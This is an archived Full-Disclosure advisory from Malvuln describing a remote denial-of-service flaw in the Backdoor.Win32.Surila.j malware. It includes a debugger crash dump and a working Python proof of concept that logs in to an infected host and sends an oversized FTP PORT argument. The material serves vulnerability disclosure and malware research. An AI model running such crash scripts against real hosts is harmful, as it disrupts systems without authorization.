lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 12 Jul 2021 22:23:12 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Surila.j / Remote Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f_C.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Surila.j
Vulnerability: Remote Denial of Service
Description: The malware listens on random TCP high port numbers typically
starting with "1" E.g. 12356, 14985, 13850, 19050. Third-party attackers
who can reach infected systems can logon using any username/password
combination. Supplying a long string of characters for the FTP PORT command
argument results in access violation and crash.
Type: PE32
MD5: b1cec4b806c71c82bbd9002bdaf21d1f
Vuln ID: MVID-2021-0290
Dropped files: iexp1orer.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/12/2021

Memory Dump:
(758.c3c): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00000000 edx=0040b5d4 esi=00000003
edi=00000003
eip=77dded3c esp=027ce28c ebp=027ce41c iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77dded3c c21400          ret     14h

0:005> .ecxr
eax=00000000 ebx=000002b4 ecx=00000000 edx=0040b5d4 esi=00404f4d
edi=027cf628
eip=0040492e esp=027cebcc ebp=027cebd4 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
*** WARNING: Unable to verify checksum for iexp1orer.exe
*** ERROR: Module load completed but symbols could not be loaded for
iexp1orer.exe
iexp1orer+0x492e:
0040492e 8801            mov     byte ptr [ecx],al
 ds:002b:00000000=??

0:005> !exchain
027ce40c: KERNELBASE!_except_handler4+0 (74e7fc20)
  CRT scope  0, func:   KERNELBASE!WaitForMultipleObjectsEx+31e15 (74ea2fe5)
027ce4d4: kernel32!_except_handler4+0 (7765d450)
  CRT scope  0, func:   kernel32!WerpReportFaultInternal+485 (7764f7db)
027ce598: KERNELBASE!_except_handler4+0 (74e7fc20)
  CRT scope  1, filter: KERNELBASE!UnhandledExceptionFilter+2bf (74efd93f)
                func:   KERNELBASE!UnhandledExceptionFilter+2c5 (74efd945)
027ce62c: ntdll!ExecuteHandler2+44 (77df9d70)
027cffcc: ntdll!_except_handler4+0 (77de6a50)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+3ed68 (77e137b0)
                func:   ntdll!__RtlUserThreadStart+3edaf (77e137f7)
027cffe4: ntdll!FinalExceptionHandlerPad14+0 (77df9eae)
Invalid exception stack at ffffffff

0:005> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
iexp1orer+492e
0040492e 8801            mov     byte ptr [ecx],al

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040492e (iexp1orer+0x0000492e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00000000
Attempt to write to address 00000000

PROCESS_NAME:  iexp1orer.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00000000

WRITE_ADDRESS:  00000000

FOLLOWUP_IP:
iexp1orer+492e
0040492e 8801            mov     byte ptr [ecx],al

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000c3c

BUGCHECK_STR:  APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE

PRIMARY_PROBLEM_CLASS:  NULL_POINTER_WRITE_PROBABLYEXPLOITABLE

DEFAULT_BUCKET_ID:  NULL_POINTER_WRITE_PROBABLYEXPLOITABLE

LAST_CONTROL_TRANSFER:  from 00403413 to 0040492e

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
027cebd4 00403413 00000000 0040b5d4 00000000 iexp1orer+0x492e
027cebe8 00405385 00000000 0040b5d4 00404f4d iexp1orer+0x3413
027cff80 77608654 000002b4 77608630 4da48a6e iexp1orer+0x5385
027cff94 77dd4a77 000002b4 4925826f 00000000
kernel32!BaseThreadInitThunk+0x24
027cffdc 77dd4a47 ffffffff 77df9eae 00000000 ntdll!__RtlUserThreadStart+0x2f
027cffec 00000000 00404f4d 000002b4 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~5s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  iexp1orer+492e

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: iexp1orer

IMAGE_NAME:  iexp1orer.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  41417b55

FAILURE_BUCKET_ID:
 NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_c0000005_iexp1orer.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_NULL_POINTER_WRITE_PROBABLYEXPLOITABLE_iexp1orer+492e


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=19427

def chk_res(s):
    res=""
    while True:
        res += s.recv(128)
        print(res)
        if "\0" in res or "\n" in res or res == "" or "OK" in res or
res=="":
            break
    return res

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    if "220 Bot Server (Win32)" in chk_res(s):
        print("Backdoor.Win32.Surila.j Found!")

        s.send("USER mal\r\n")
        time.sleep(0.5)
        s.send("PASS vuln\r\n")
        time.sleep(0.5)

        PAYLOAD="A"*12500
        s.send("PORT " + PAYLOAD+"\r\n")

        print("Backdoor.Win32.Surila.j / Remote Denial of Service")
        print("MD5: b1cec4b806c71c82bbd9002bdaf21d1f")
        print("Malvuln")

    s.close()

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists